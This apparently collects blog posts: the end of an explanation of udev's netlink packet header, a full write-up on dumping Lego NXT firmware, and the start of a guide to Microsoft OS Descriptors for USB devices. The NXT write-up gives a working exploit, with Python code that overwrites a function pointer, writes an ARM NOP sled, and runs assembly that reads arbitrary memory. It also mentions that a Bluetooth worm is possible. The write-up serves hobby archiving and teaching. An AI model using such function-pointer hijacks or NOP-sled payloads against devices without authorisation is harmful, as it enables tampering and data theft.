Recall that kernel events were not the thing we were actually interested in. We wanted udev's version of the events. Browsing through libudev's source code, we can see that udev events are also broadcast using netlink. Even though netlink is often used to communicate with the kernel, NETLINK_KOBJECT_UEVENT allows for userspace-to-userspace communication. We just have to change the multicast group in our sample program to MONITOR_GROUP_UDEV which is 2.

If we hexdump the messages we receive, they look like this:

00000000:   6c 69 62 75 64 65 76 00 fe ed ca fe 28 00 00 00     libudev.....(...
00000010:   28 00 00 00 2f 02 00 00 a9 30 e9 67 00 00 00 00     (.../....0.g....
00000020:   02 08 20 08 00 40 10 09 55 44 45 56 5f 44 41 54     .. ..@..UDEV_DAT
00000030:   41 42 41 53 45 5f 56 45 52 53 49 4f 4e 3d 31 00     ABASE_VERSION=1.
00000040:   41 43 54 49 4f 4e 3d 61 64 64 00 44 45 56 50 41     ACTION=add.DEVPA
00000050:   54 48 3d 2f 64 65 76 69 63 65 73 2f 70 63 69 30     TH=/devices/pci0
…

In addition to the key-value strings, there is now a binary header.

udev packet format

This is the section you probably came here for.

udev's packet format is versioned, and the version in common use for at least the past 10-15 years has been version 0xfeedcafe. Searches of GitHub also show a version 0xcafe1dea, but it's not clear when the transition between the two happened. There does not seem to be any effort for backwards nor forwards compatibility.

udev's packet format exists in the code here. The following is my own equivalent version:

struct udev_packet_header {
    // contains "libudev" with a null terminator
    char libudev_magic[8];
    // contains 0xfeedcafe (big-endian)
    uint32_t magic;
    // size of this header. *native* endian
    uint32_t header_sz;

    // offset to the (null-terminated strings) properties. *native* endian
    uint32_t properties_off;
    // size of the properties. *native* endian
    uint32_t properties_len;

    // hashes etc for filtering. big-endian
    uint32_t subsystem_hash;
    uint32_t devtype_hash;
    uint32_t tag_bloom_hi;
    uint32_t tag_bloom_lo;
};

A number of fields in this header use the native endianness of the udev process. This might cause issues with cross-endianness qemu-user processes, but I haven't personally tested this. There does not appear to be any explicit provision for handling this situation, but header_sz can be used to sniff for the appropriate endiannness.

header_sz is not used by libudev, only properties_off. In practice, these two fields contain the same value.

udev transmits several hashes in order to allow message receivers to use BPF for filtering. This avoids the kernel unnecessarily waking up uninterested processes, which could potentially save performance or power. This is not done by the demo program above.

subsystem_hash is a MurmurHash2 hash of the SUBSYSTEM= key. If the key isn't present, the value is 0.

devtype_hash is a MurmurHash2 hash of the DEVTYPE= key. If the key isn't present, the value is 0.

tag_bloom_hi and tag_bloom_lo form a 64-bit Bloom filter of the entries in the TAG= key (which are normally separated by : characters). If no keys are present, the value is 0. A Bloom filter is a special data structure based on hashes which can either return "this element is certainly not in the set" or "this element might be in the set, but this could also just be a false positive". In this case, it allows BPF to preemptively filter out events that definitely do not contain the proper TAGs.

The Bloom filter uses 4 small hashes, where each small hash takes a different slice of bits from the MurmurHash2 of the tag. This is shown in the sample code above:

const uint32_t mask = 0b111111;
bloom_filter |= 1ULL << ((taghash >> 0) & mask);
bloom_filter |= 1ULL << ((taghash >> 6) & mask);
bloom_filter |= 1ULL << ((taghash >> 12) & mask);
bloom_filter |= 1ULL << ((taghash >> 18) & mask);

"Security Considerations" (RFC 6919)

These udev netlink messages are supposed to be sent with the credentials (process ID, user ID, group ID) of the sending process. libudev will not accept messages without this. The SO_PASSCRED option is used to enable receving credentials, as described in the man page for Unix domain sockets on Linux.

Kernel messages are sent with these values all 0. This is important for udev to check in order to avoid taking action due to spoofed messages.

Messages from udev to generic userspace programs are also expected to come from either uid 0 or else something relating to user namespaces which I don't fully understand. I also don't understand why it is necessary for random programs to check this, since netlink normally only allows uid 0 to send messages.

Dumping Lego NXT firmware off of an existing brick

2025-08-29T00:00:00+00:00

I've recently been contributing to the Pybricks project, a community-run port of MicroPython to Lego Mindstorms hardware. As part of that, I obtained a used Lego NXT which just so happened to still be running the original version 1.01 firmware from when it launched in 2006. I wanted to archive a copy of this firmware, and doing so happened to involve the discovery of arbitrary code execution.

The NXT is a relatively simple exploitation target and can serve as a good introduction to ARM and embedded exploit development.

Preliminary research

Or, in the words of a much more innocent era, "Google is your friend" (lol, not anymore, making research skills even more critical than they ever have been).

"Surely somebody must've already archived a copy of this firmware, right?" I thought to myself. Unfortunately, this does not appear to have been the case. I searched but never came across a copy of this particular firmware version despite the extensive NXT enthusiast community.

I did come across a mention of a 1.03 firmware which appears to have been released on or very close to launch day. I suspect that enthusiasts and advanced users likely eagerly switched to newer and/or community-modified firmwares when they wanted newer features.

The NXT is also old enough that, despite being part of "the Internet era", resources are starting to bitrot.

Looks like I'm going to have to figure out how to retrieve a copy myself!

Use the firmware updater?

The first idea which came to mind for backing up firmware is "does the tool which is used to download new firmware to the NXT also allow retrieving the preexisting firmware?"

From sources including the Wikipedia page, we find that the NXT is built around a Microchip (formerly Atmel) AT91SAM7S256 microcontroller, a distant ancestor of the SAM D parts that now power several Arduino, MicroPython, and CircuitPython boards. This chip contains a built-in bootloader program called SAM-BA which supports simple "read from memory" (traditionally known as PEEK) and "write to memory" (traditionally known as POKE) commands. This (deceptively!) seems like it'd work!

Fortunately, while researching, I found out that somebody did try this already and was unsuccessful. Attempting to enter the SAM-BA bootloader appears to automatically overwrite part of the firmware which we want to back up. Good thing I did my research first! We have to find a different approach that doesn't involve entering firmware update mode.

Use JTAG?

JTAG is a hardware interface used for providing all sorts of "debug" and "test" functionality for circuit boards and chips. Precisely what can be done using JTAG varies greatly, but the microcontroller in the NXT allows JTAG to read and modify all of the CPU's state for debugging. This can be used to read back data stored inside the chip.

Is this related to using JTAG to hack an Xbox or a mobile phone?

Yes! Those devices also use the same low-level protocol known as JTAG. However, the debug and test commands which can be used on top of JTAG are completely different. Think of JTAG as being similar to TCP or UDP while the chip-specific commands are higher-level protocols such as HTTP or SSH.

Unfortunately, since this is a hardware interface, using it involves taking apart the NXT and soldering to it (since the necessary connectors are not installed). Additionally, this chip is so old that its debug interface is cumbersome to set up and use (it doesn't support SWD, ADIv5, or any of the interfaces and protocols that the cheap modern tools are designed for).

I considered this method a last resort but really wanted to find a software-only solution. Software-only solutions are generally easier to share and deploy, so finding one would allow many other people to also back up the firmware of bricks in their possession.

Use a custom NXT program?

For a device like the NXT which already allows for limited user-programmability, the first instinct is usually to explore what this limited or "sandboxed" environment allows you to do. How do NXT programs work? Can we just write an NXT program that dumps the firmware and sends it to the computer?

If we hunt around, we can find the "LEGO MINDSTORMS NXT Executable File Specification" which explains that NXT programs run in a bytecode VM and doesn't have the ability to read/write arbitrary memory. Variables are restricted to a "data segment" of fixed size, and all memory accesses must be inside it. This means that we cannot "just" write an NXT program (unless we find a bug in the VM which allows us to access memory we're not supposed to).

What is the difference between a VM and "native" code?

"Native" code refers to code which a CPU can directly run. A virtual machine is a way of adding a layer of indirection between a program and the real CPU. Computer scientists love solving problems by adding indirection, and a virtual machine can be used to solve problems such as incompatibility, convenience, and/or security.

For example, a virtual machine can be used to take code designed for one type of CPU and run it on a different type of CPU. This is often called an emulator, and they can be useful when it isn't possible to recompile the code for the new CPU (such as if the original program is a closed-source video game for a proprietary game console but you want to run it on a desktop PC).

Java and .NET run on virtual machines which are specifically designed so that managing memory is more convenient (such as by having garbage collection). They can also be used to implement security by funneling "dangerous" operations into specific, limited pathways. The NXT's virtual machine is a virtual machine of this type.

The NXT firmware

For those who aren't aware, the source code of the NXT firmware is publicly available! However, many links to it have bitrotted, source code only seems to have been released for some versions (certainly not every), and it's not even clear which versions of the code have been archived and still exist. (For example, the seemingly-official LEGO-Robotics/NXT-Firmware repository on GitHub... is actually a community-modified firmware! Its history also only contains versions 1.05 and 1.29 specifically and not, for example, the final 1.31 or the original 1.01.)

Nonetheless, we can still study it to see if we can find anything interesting. At the same time, we can also study a copy of the NXT Bluetooth Developer Kit in order to understand how the computer communicates with the brick. (Despite being the "Bluetooth" developer kit, the documented protocol and commands are used over USB as well.)

NXT communications protocol

From reading through the "LEGO MINDSTORMS NXT Communication Protocol" and "LEGO MINDSTORMS NXT Direct Commands" documents, we start to see the following high-level overview:

The protocol contains two categories of commands, "system" and "direct". System commands vaguely relate to "operating system" functionality, and direct commands vaguely relate to "actually operating a robot". In general, this protocol also seems to specifically not allow performing arbitrary operations and badness such as accessing the firmware or getting native code execution outside of the VM. It appears to be designed to give friendly access to only the NXT's virtual filesystem and bytecode interpreter.

Since both the VM and the communications protocol appear to be designed to keep us out, it's starting to look like we're going to need to find some kind of exploit.

IO-Maps

While looking through all of these documents, I generally focused my attention on "low-level" functionality, as it is much more likely to contain the ability to access the firmware and/or arbitrary memory. One feature, "IO-Maps", immediately stood out.

In the NXT Communication Protocol document, IO-Maps are described as "the well-described layer between the different controllers/drivers stack and the VM running the user's code." That sounds potentially interesting if it allows access to drivers in ways which aren't normally allowed. Also, if this is an interface which isn't normally used, it is a potential location for unexpected and exploitable bugs.

So... where does one find the so-called "well-described" description of what IO-Maps can do?

One of the best explanations I found was an old copy of the NXC programmer's guide. NXC (Not eXactly C) is an alternative frontend for creating NXT programs for the stock firmware in a C-like language rather than graphical blocks. This programmer's guide lists all of the IO-Map offsets for each firmware module, and the explanations make it clear that IO-Maps contain essentially all of each module's internal state.

Further searching finds this blog post explaining how it's possible to watch and plot variables in the user program by reading from the VM module's IO-Map. It definitely feels like we could be on to something here!

IO-Maps in the firmware source code

How do you find the IO-Map structures in the firmware source code? That blog post lists a struct, but where is said struct?

It turns out that all IO-Maps are defined in .iom files in the firmware, with the VM's being defined in c_cmd.iom.

Big fat exploit

Without even having to look at any other modules, we can already spot something: the VM IO-Map contains a function pointer pRCHandler! What does this function pointer do?

It turns out that this is the command handler for "direct" commands!

Is this... really just a native code function pointer sitting inside this IO-Map structure which is both readable and writable over USB?

What is a function pointer? Why is finding a function pointer such a big deal?

A function pointer is a piece of data which stores the location of some code. A program uses this data to decide what code to run next. Programs themselves can modify function pointers in order to alter their functionality as they run, but, if we can modify the function pointer, we can also alter what the program does, including in ways that may be unintended.

Scoping out the exploit

In order to try out whether this even has a chance of working, we will need to send commands to the NXT over USB. This can be done in many different ways, but here we will use the Python programming language. Python is very suitable for testing and prototyping because it has a REPL and many third-party libraries implementing functionality that we can reuse. In this case, we will use the PyUSB library to talk to the NXT.

Setting up Python, creating a virtualenv, installing PyUSB, installing USB drivers, and configuring USB permissions will all be left as an exercise for the reader. This is all very important, but "setting up and configuring a development environment" is a huge task all on its own, requiring tons of often-poorly-documented implicit knowledge, and I wanted to get this article done in a reasonable amount of time.

First we need to open a connection to the NXT:

>>> import usb.core
>>> dev = usb.core.find(idVendor=0x0694, idProduct=0x0002)
>>> dev.set_configuration()

Then we need to see if we can indeed access the VM (or "command") module's IO-Map:

>>> dev.write(1, b'\x01\x94\x01\x00\x01\x00\x00\x00\x10\x00')
10
>>> bytes(dev.read(0x82, 64))
b'\x02\x94\x00\x01\x00\x01\x00\x10\x00MindstormsNXT\x00\x00\x00'

Uhh... what?

Ah yes. Most people have not invested years into skills such as staring at hex dumps and raw data. I'll have to give a more detailed explanation.

We want to send the "Read IO Map Command" to the NXT. This command is documented on page 20 of the "LEGO MINDSTORMS NXT Communication Protocol" document, and the request is documented to take 10 bytes. Here we're manually inputting each of the bytes using a hexadecimal escape sequence.

The first two bytes are required to be 0x01 and 0x94: \x01\x94.

This is followed by the module ID in little-endian format: \x01\x00\x01\x00. This corresponds to a module ID of 0x00010001 which is the ID of the VM module.

What is little-endian?

When a value is stored using more than one byte, the bytes have to be stored in a particular order, just like how decimal numbers with multiple digits have to be written in a particular order. "Little-endian" is the "opposite" or "backwards" order from how Arabic numerals are written, meaning that the "first" or "leftmost" byte has the lowest place value. This byte is called the "LSB" or "least-significant byte". The "last" or "rightmost" byte has the highest place value and is called the "MSB" or "most-significant byte".

"Big-endian" is the opposite of little-endian and matches the order of Arabic numerals. The "endian" names are a historical artifact.

TL;DR it means you have to flip the bytes around

The next two bytes \x00\x00 correspond to an offset of 0.

Finally, the last two bytes \x10\x00 correspond to a length of 0x10 or 16.

In summary, this command means "read 16 bytes from offset 0 of the VM module's IO-Map".

To actually send the command to the NXT, we write it to USB endpoint 1. To read the response, we send a read command to USB endpoint 0x82 (don't worry about it).

But I am worried about it!

Understanding this requires a minimal understanding of how the USB device framework works. An excellent overview can be found here. In short, when talking to a USB device, data needs to be sent to or received from specific endpoints. A device can have multiple endpoints of different types and directions. Each endpoint is identified by an address, which can be found in the USB descriptors. The NXT uses two "bulk" endpoints, one in each direction, and their addresses are 0x01 and 0x82.

If we decode the response according to the documentation, we find that the first bytes \x02\x94 are exactly as specified under the "return package" heading.

The next byte, \x00, means that the command succeeded.

This is followed by a repeat of the module ID \x01\x00\x01\x00 and the requested length \x10\x00.

Finally, we have the data which was read: MindstormsNXT\x00\x00\x00. This data corresponds to FormatString in the code, and here it is initialized to the MindstormsNXT value that we see.

Let's try reading that function pointer now:

>>> dev.write(1, b'\x01\x94\x01\x00\x01\x00\x10\x00\x04\x00')
10
>>> dev.read(0x82, 64)
array('B', [2, 148, 0, 1, 0, 1, 0, 4, 0, 61, 13, 16, 0])
>>> hex(16 << 16 | 13 << 8 | 61)
'0x100d3d'

It helps to see the difference if we line up the two commands:

# First test
>>> dev.write(1, b'\x01\x94\x01\x00\x01\x00\x00\x00\x10\x00')
# Second test
>>> dev.write(1, b'\x01\x94\x01\x00\x01\x00\x10\x00\x04\x00')
# Difference                                 ^^      ^^

We've changed the offset from \x00\x00 to \x10\x00 (from 0 to 16). We've changed the length from \x10\x00 to \x04\x00 (from 16 to 4). (Remember that all the numbers are in little-endian!)

Instead of turning the response into a bytes object, we leave it as an array. In order to find the "actual data" which was read, we can either manually count all the bytes again, or we can realize that the data is going to be the last 4 bytes: [61, 13, 16, 0]. The final line of code converts this into the value of 0x100d3d. This is our function pointer, but what does this number mean?

If we look at the datasheet for the AT91SAM7S256 microcontroller and look at Figure 8-1 "SAM7S512/256/128/64/321/32/161/16 Memory Mapping", we can see that memory addresses in the range 0x001xxxxx correspond to the internal flash memory of the chip. The value that we read, 0x100d3d, is 0xd3d bytes or about 3 KiB past the beginning of the internal flash memory. This certainly looks like a reasonable function pointer! If we modify this function pointer, we should be able to redirect code execution for "direct" commands to something else.

Gaining code execution

What, specifically, can we modify this pointer to in order to gain arbitrary code execution? On a modern system with memory protections and advanced exploit mitigations, this part of the puzzle may end up being a challenging task. However, this microcontroller has none of these features. We should be able to put in any valid address and have the microcontroller execute that address as code (as long as we've put valid code there).

How do you "put valid code somewhere"? What does that actually mean?

Many modern computers are designed so that the computer's instructions can be accessed and manipulated as data. Likewise, data can be treated as instructions. This is certainly the case for the microcontroller in question here. This idea is critically important. It means that, as long as we can put some data in some location, and as long as that data happens to represent valid instructions, the CPU will be able to execute it.

This is not the case on every system. For example, the AVR architecture does not treat instruction memory and data memory as interchangeable. Modern operating systems such as Windows or Android also typically prevent accessing data as instructions (often called DEP or NX) without going through some extra steps. This helps protect against… exactly what we're doing here.

The fact that we have a simple target which can freely interchange data and code and which doesn't have modern protections makes this an excellent learning target.

What addresses can we actually modify the function pointer to? We don't know what the code looks like (that's the whole point of this exercise!), and we don't know precisely how the data memory is laid out either. We can only put in one address, so what do we do?

Here's where we get very lucky.

Inside the VM's IO-Map, there is a MemoryPool variable corresponding to the data segment of the running NXT program. This variable is 32 KiB in size, which means that we have 32 KiB of space that we can safely fill with whatever we want (as long as no program is running).

"Safely"?

That means that the firmware will not crash if we modify or corrupt the memory pool, since it doesn't get accessed if no user program is running.

The NXT's microcontroller has a total of 64 KiB of RAM. Observe that 32 KiB is half of that total. If we assume that the firmware lays out RAM starting from the lowest address and going up, and that the firmware uses more than 0 bytes of RAM (both very reasonable assumptions), there is no possible location the firmware could put this memory pool that doesn't intersect with the address 32 KiB past the start of RAM, 0x00208000.

Since we don't know exactly where the buffer sits in RAM, we can fill the initial part of the buffer with nop (no operation) instructions. We put our exploit code at the very end of the buffer. As long as 0x00208000 isn't too close to the end of the memory pool, it will end up pointing somewhere in the pile of nops.

If we cause the CPU to jump to this address, the CPU will keep executing the nops until it finally hits our code. This exploitation technique is called a "NOP slide" or "NOP sled".

In order to test this out, we need to build a bunch of scaffolding:

import struct
import subprocess
import usb.core

def iomap_rbytes(mod, off, len_):
    cmd = struct.pack("<BBIHH", 1, 0x94, mod, off, len_)
    dev.write(1, cmd)
    result = bytes(dev.read(0x82, 64))
    # print(result)
    assert result[:9] == struct.pack("<BBBIH", 2, 0x94, 0, mod, len_)
    result_val = result[9:]
    return result_val

def iomap_r32(mod, off):
    cmd = struct.pack("<BBIHH", 1, 0x94, mod, off, 4)
    dev.write(1, cmd)
    result = bytes(dev.read(0x82, 64))
    # print(result)
    assert result[:9] == struct.pack("<BBBIH", 2, 0x94, 0, mod, 4)
    result_val = struct.unpack("<I", result[9:])[0]
    return result_val

def iomap_w32(mod, off, val):
    cmd = struct.pack("<BBIHHI", 1, 0x95, mod, off, 4, val)
    dev.write(1, cmd)
    result = bytes(dev.read(0x82, 64))
    # print(result)
    assert result == struct.pack("<BBBIH", 2, 0x95, 0, mod, 4)

def testbeep():
    cmd = b'\x00\x03\xff\x00\xff\x00'
    dev.write(1, cmd)
    result = bytes(dev.read(0x82, 64))
    print(result)

CMD_MODULE = 0x00010001
CMD_OFF_FNPTR = 16
CMD_OFF_MEMPOOL = 52

subprocess.run(['arm-none-eabi-gcc', '-c', 'nxtpwn.s'], check=True)
subprocess.run(['arm-none-eabi-objcopy', '-O', 'binary', 'nxtpwn.o', 'nxtpwn.bin'], check=True)
with open('nxtpwn.bin', 'rb') as f:
    nxtpwn_code = f.read()
print("code", nxtpwn_code)
assert len(nxtpwn_code) % 4 == 0

ARM_NOP = 0xe1a00000
nop_len = 32*1024 - len(nxtpwn_code)

dev = usb.core.find(idVendor=0x0694, idProduct=0x0002)
dev.set_configuration()

print("filling memory...")
for i in range(nop_len // 4):
    iomap_w32(CMD_MODULE, CMD_OFF_MEMPOOL + i*4, ARM_NOP)
for i in range(len(nxtpwn_code) // 4):
    offs = nop_len + i*4
    val = struct.unpack("<I", nxtpwn_code[i*4:i*4+4])[0]
    iomap_w32(CMD_MODULE, CMD_OFF_MEMPOOL + offs, val)

This code invokes an ARM assembler to assemble code written in nxtpwn.s into binary data, fills most of the MemoryPool with nops, and then writes the assembled code at the end.

You will need to somehow install a copy of GCC and Binutils targeting ARM. Any reasonable version should do, but this is also part of "environment setup".

To test this, we can write the most basic assembly code in nxtpwn.s:

bx lr

This is an empty function which doesn't do anything. If we redirect the direct command handler to it, all direct commands should stop working.

How do you learn ARM assembly language?

I personally learned ARM assembly from this tutorial a long time ago. I generally think of "learning assembly" as consisting of at least two parts: learning how all CPUs work at a high level, and learning how one particular CPU architecture works.

For the first part, I started by learning x86 assembly in order to hack PC software. It's also possible to learn from "academic" computer science materials, including free curricula focused around the RISC-V architecture. Here is an example of one I have found. It is also possible to learn this by doing retrocomputing for historical 8-bit computer systems, although those will have more differences from modern CPUs.

Given sufficient familiarity with the basics of CPUs, it's possible to study and understand documentation specific to ARM or another architecture. Looking at the output of a C compiler really helps to build familiarity and experience.

We can use python3 -i nxtpwn.py to load the exploit code before dropping us into the Python REPL.

Before we actually trigger the exploit, let's try running a "direct" command to make sure it works:

>>> testbeep()
b'\x02\x03\x00'

This should make the NXT beep.

To trigger the exploit, we can enter the following:

>>> iomap_w32(CMD_MODULE, CMD_OFF_FNPTR, 0x00200000 + 32*1024)

This replaces that pRCHandler function pointer with an address in RAM as described above. Now let's try to make the NXT beep again:

>>> testbeep()
b'\x02\x03\x00\x01\x00\x01\x00'

This time the NXT doesn't beep (because we've replaced the function which handles direct commands with an empty function) and returns different (garbage) data (because our empty function doesn't set the output length properly either).

We have successfully achieved native ARM code execution on the NXT, on an unmodified firmware. This means that we are now free from all of the restrictions the firmware normally imposes.

Dumping firmware

Native code execution means we can access any data inside the microcontroller, including the firmware. To actually access it, we need to replace the direct command handler with a function which lets us read arbitrary memory addresses. The direct command handler turns out to be an excellent location to hijack because it is already hooked up to all the infrastructure needed to communicate to and from the PC. This greatly simplifies the work we need to do.

In the firmware source code, we can see that the original command handler normally takes three arguments: the input buffer, the output buffer, and a pointer to the length of the output. According to the ARM ABI, these values will be stored in CPU registers r0, r1, and r2 respectively.

That function is written in C. How can you replace it with a function written in assembly? What is an ABI??

C code is turned into assembly code by a compiler. If we're not using a compiler, we can still write assembly code by hand.

When a C compiler turns code into assembly, it has to follow certain conventions in order for different parts of the program to work together properly. For example, code which needs to make a function call needs to agree with the function being called about where to put the function arguments. This information (as well as lots of other stuff we don't care about right now) is specified as part of the ABI.

Because the ARM architecture is a RISC architecture with comparatively "many" CPU registers, functions with 4 or fewer arguments ≤ 32 bits in size will have the arguments placed into registers r0-r3.

As long as our assembly code follows the same conventions as the C code (follows the ABI), the existing firmware can call our code with no problems.

We can replace the direct command handler with a function that reads from an arbitrary address that we give it:

# save r4
push {r4}

# skip 2 bytes of packet
add r0, #2

# load 4 bytes of the address
ldrb r3, [r0]
add r0, #1
ldrb r4, [r0]
add r0, #1
orr r3, r4, lsl #8
ldrb r4, [r0]
add r0, #1
orr r3, r4, lsl #16
ldrb r4, [r0]
add r0, #1
orr r3, r4, lsl #24

# read data from that address
ldr r3, [r3]

# store 4 bytes of the resulting value
strb r3, [r1]
add r1, #1
lsr r3, #8
strb r3, [r1]
add r1, #1
lsr r3, #8
strb r3, [r1]
add r1, #1
lsr r3, #8
strb r3, [r1]

# store the output length of 4
mov r3, #4
strb r3, [r2]

# return success
mov r0, #0
pop {r4}
bx lr

Why do we need to save r4?

The ABI says so. ABIs typically designate that called functions can freely modify only certain registers. Called functions have to save and restore the others. This is a trade-off to try to reduce unnecessary saving and reloading of data which is no longer needed.

Now that we have this exploit code, we can now add some more code to the Python script in order to use it:

print("sending pwn command")
iomap_w32(CMD_MODULE, CMD_OFF_FNPTR, 0x00200000 + 32*1024)

def pwn_read(addr):
    cmd = struct.pack("<BBI", 0, 0xaa, addr)
    dev.write(1, cmd)
    result = bytes(dev.read(0x82, 64))
    # print(result)
    assert result[:2] == struct.pack("<BB", 2, 0xaa)
    result_val = struct.unpack("<I", result[2:])[0]
    return result_val

This code sends a "direct" command with a dummy command byte of 0xaa (the firmware assumes this exists) followed by an address we want to read. The result contains the dummy command followed by 4 bytes of data. We can now try it out:

>>> hex(pwn_read(0))
'0xeafffffe'
>>> hex(pwn_read(4))
'0xeafffffe'
>>> hex(pwn_read(8))
'0xeafffffe'
>>> hex(pwn_read(0xc))
'0xeafffffe'
>>> hex(pwn_read(0x10))
'0xeafffffe'
>>> hex(pwn_read(0x14))
'0xeafffffe'
>>> hex(pwn_read(0x18))
'0xea000009'
>>> hex(pwn_read(0x1c))
'0xe1a09000'
>>> hex(pwn_read(0x20))
'0xe5980104'

This certainly looks like valid ARM code! (The leading 0xe indicates an instruction which is always executed (in ARM, every instruction has an option to be conditionally executed only if certain flags are true), and 0xeafffffe is an infinite loop.)

Why are you reading from address 0? Isn't that a null pointer?

This is a case where the abstractions of the C programming language start to break down. 0 is indeed a null pointer constant in C, but the hardware sees 0 as a memory address like any other. Some systems have nothing valid there, but some other systems (like this one) put exception vectors at this location. When certain types of hardware interrupts or exceptions happen, the CPU jumps to certain fixed addresses around address 0 (the specific types of exceptions and the specific addresses are a property of the CPU architecture).

All we need to do now is to loop over 256 KiB starting at 0x001xxxxx and save it to a file:

print("reading flash...")
with open('nxtpwn-dump.bin', 'wb') as f:
    for i in range(256 * 1024 // 4):
        addr = 0x00100000 + i * 4
        val = pwn_read(addr)
        f.write(struct.pack("<I", val))
        if i % 1024 == 0:
            print(f"\tDone with {(i // 1024 + 1) * 4}/256 KiB")

And with that, we have the firmware:

$ xxd nxtpwn-dump.bin | less
…
00019cd0: 3032 5800 4d61 7220 2033 2032 3030 3600  02X.Mar  3 2006.
00019ce0: 3138 3a32 313a 3033 004a 616e 4665 624d  18:21:03.JanFebM
…

Dumping the firmware in this manner also dumps all of the user programs and data stored on the brick, so I won't be releasing this until I clean it up a bit (so as to protect the privacy of the previous owner).

What else?

Although I haven't tested it, this exploit likely works on all NXT firmwares derived from the stock firmware. This means that it was and is possible to run bare-metal code on the NXT without a modified firmware. This "just" requires somebody to write an appropriate program loader.

These commands can be triggered over Bluetooth, so I believe it's possible for paired NXTs to send them to each other. It should be possible to write an NXT worm (please don't write a malicious one).

If anybody is a skilled internet archivist, this is your chance to capture as many firmware versions as you can.

Happy hacking!

Making USB widgets easy to install

2025-07-28T00:00:00+00:00

TL;DR

Set bcdDevice to 0x0210, add this and optionally this.

Microsoft complexified their operating system and then proceeded to make it everybody else's problem.

Google and Chromium-based browsers upended "software distribution", which naturally made the consequences everybody else's problem as well.

If you want to make physical objects which connect to anything computer-shaped (including mobile phones), you now have extra work to do for the best out-of-the-box user experience. None of these extra functions are in Chapter 9 of the USB 2.0 specification, and I wasn't sure how anybody was ever supposed to find out about them without being told, and thus this article was born.

What? (Historical context)

When hardware is added to a computer, the computer needs to know how to talk to this hardware. In order to be able to, the computer relies on some software drivers.

Nowadays, many users no longer have to think about this thanks to the availability of standards which allow for generic drivers to interface with any hardware that operates according to the rules of the standard. Many of these generic drivers now come bundled with operating systems and don't have to be manually installed.

The USB standard defines both a basic set of rules that all USB devices need to follow as well as a list of standard "device classes" for commonly-encountered peripherals (such as mice, keyboards, flash drives, cameras, or more specialized things such as smart cards or electronics test and measurement lab equipment).

As stated, nowadays almost any standard mouse or keyboard or flash drive from any manufacturer will work on any computer or even many mobile devices thanks to these specification. But what happens if you want to do something other than what is standard and generic? Custom software and occasionally custom drivers are still required. For example, you often need custom software and sometimes custom drivers to make "Gamer Pro X RGB+ Ultra" keyboards and mice work properly or to configure their advanced settings.

Not-Windows

On macOS and Linux, the operating system provides a way for programs (in user-space) to talk to USB devices "without a driver" (i.e. by only relying on the basic behaviors that all USB devices must implement). This user-space program essentially takes on the role of a driver. For devices which do not need to provide services to the entire system, this interface can often be sufficient.

For example, a device which only needs to receive a firmware update or configuration settings can use just these basic low-level USB operations. So can a specialized piece of industrial equipment which only talks to its special control software. However, something such as a network card would not fit this model very well because it needs to be accessible and shared by every program on the computer as a network card. (Sharing resources between programs is generally considered one of the purposes of an operating system!)

Windows

Unfortunately, the above is not the case on Windows. Windows requires every USB device to have a driver before a user-space program is able to access it.

Double-unfortunately, developing drivers is generally considered difficult since drivers operate in a totally different environment from "normal" user-space programs. Many people thus reasonably want to avoid doing it. In addition, it is not possible to develop a Windows driver without spending money and going through a lot of bureaucratic red tape. This is because Microsoft at some point both wanted to improve their reputation for instability as well as generally locking down the platform.

People naturally looked for solutions and workarounds to these problems.

Corporate slop solution—Jungo WinDriver

Jungo WinDriver is a commercial package sold to companies so that they can quickly develop custom drivers with minimal effort.

As a B2B vendor, the only time someone would notice the existence of Jungo is when a company is being particularly low-effort with their driver development.

A number of vendors of "industrial" development kits, equipment, and other such items fell into this category.

USB HID workaround

One of the generic device classes with built-in drivers on most platforms (including Windows) is the USB Human Interface Device class. This device class encompasses keyboards, mice, joysticks, gamepads, and other similar widgets.

Because this specification was being designed in the 1990s when many wacky ideas were still being thrown around by computer peripheral manufacturers (i.e. before everybody standardized around an Xbox-style gamepad), this specification is defined in an extremely-generic way (that is simultaneously both excessive and unnecessary in some areas and short-sighted and limiting in others).

Although the devices listed are primarily thought of as input devices, many of them have limited output capabilities as well. For example, traditional PC keyboards have LEDs for Caps Lock, Num Lock, and Scroll Lock, all of which are controllable in software. Joysticks and gamepads also support force feedback (another overcomplicated specification which is almost impossible to understand).

Because of the extensibility of USB HID, it is possible to add vendor-specific commands to HID devices, and none of the major platforms require writing a custom driver to use them. This is a reasonable way to implement a computer peripheral that needs some extra blinkenlights.

However, because of how generic USB HID is, it's possible to push it to the extreme and define a device where the entirety of its input and output "reports" consists solely of "vendor defined", up to the limit of the USB packet size. This entirely defeats the spirit of the specification but results in a simple bidirectional channel with a USB device.

An upside of this strategy is that it is extremely backwards-compatible. The Windows HID API is available all the way back to Windows 2000, and the macOS HID API appears to be present since the earliest versions of Mac OS X. Downsides include somewhat limited performance and inflexible programming interfaces (since it is designed for input devices and is not a general-purpose USB interface).

Open-source generic drivers

Over the years, a number of open-source generic USB drivers for Windows were released, including libusb-win32, libusbK, and usbdk. These drivers attempt to bring to Windows a similar interface as is available on macOS and Linux (i.e. the ability to write user-space programs to talk to a device, with the driver relying on only generic USB functionality).

These drivers all have slightly different capabilities and different bugs. They also require installation as they do not come preinstalled on the system. The process of installing a specific driver for a specific device was initially rather cumbersome and prompted the release of tools to simplify the process (tools which also needed to be downloaded).

WinUSB

Because this was a sufficiently visible issue (industrial customers and IHVs, including lazy IHVs, are an important part of the ecosystem which Microsoft depends on), Microsoft also developed their own generic USB driver called WinUSB. It has existed since Windows Vista but has been backported to Windows XP.

Because this driver is developed by Microsoft, Microsoft is responsible for maintaining it and distributing it (either via Windows Update or by being included in the operating system starting with Windows 8). (This of course does mean that you are dependent on Microsoft to fix any bugs.)

A problem with both the open-source generic USB drivers and this WinUSB generic driver is that there was no way to specify, using only standard USB descriptors, that generic drivers should be loaded. Normally, driver loading is controlled by combinations of the USB vendor ID, product ID, and device class. However, generic drivers can potentially be associated with any vendor or product.

The way Microsoft decided to solve this problem was by either requiring a special metadata (.inf) file to be installed by the end-user, or by requiring the device to implement special "Microsoft OS Descriptors" in the device's firmware.

Microsoft OS Descriptors

There are two versions of Microsoft OS Descriptors, version 1.0 and version 2.0. Version 1.0 is supported since Windows XP SP1 while version 2.0 is supported since Windows 8.1.

These descriptors can be used to tell Windows explicitly to load a certain driver (such as WinUSB), as well as to give devices a GUID, which is important for some reason that I don't currently understand. These descriptors can also allegedly configure other settings such as the icon which is displayed in Device Manager, but I was not able to figure out how to actually do this.

The most important thing is that, with these descriptors, driver installation becomes entirely automatic and seamless, even for devices which implement completely custom USB functionality.

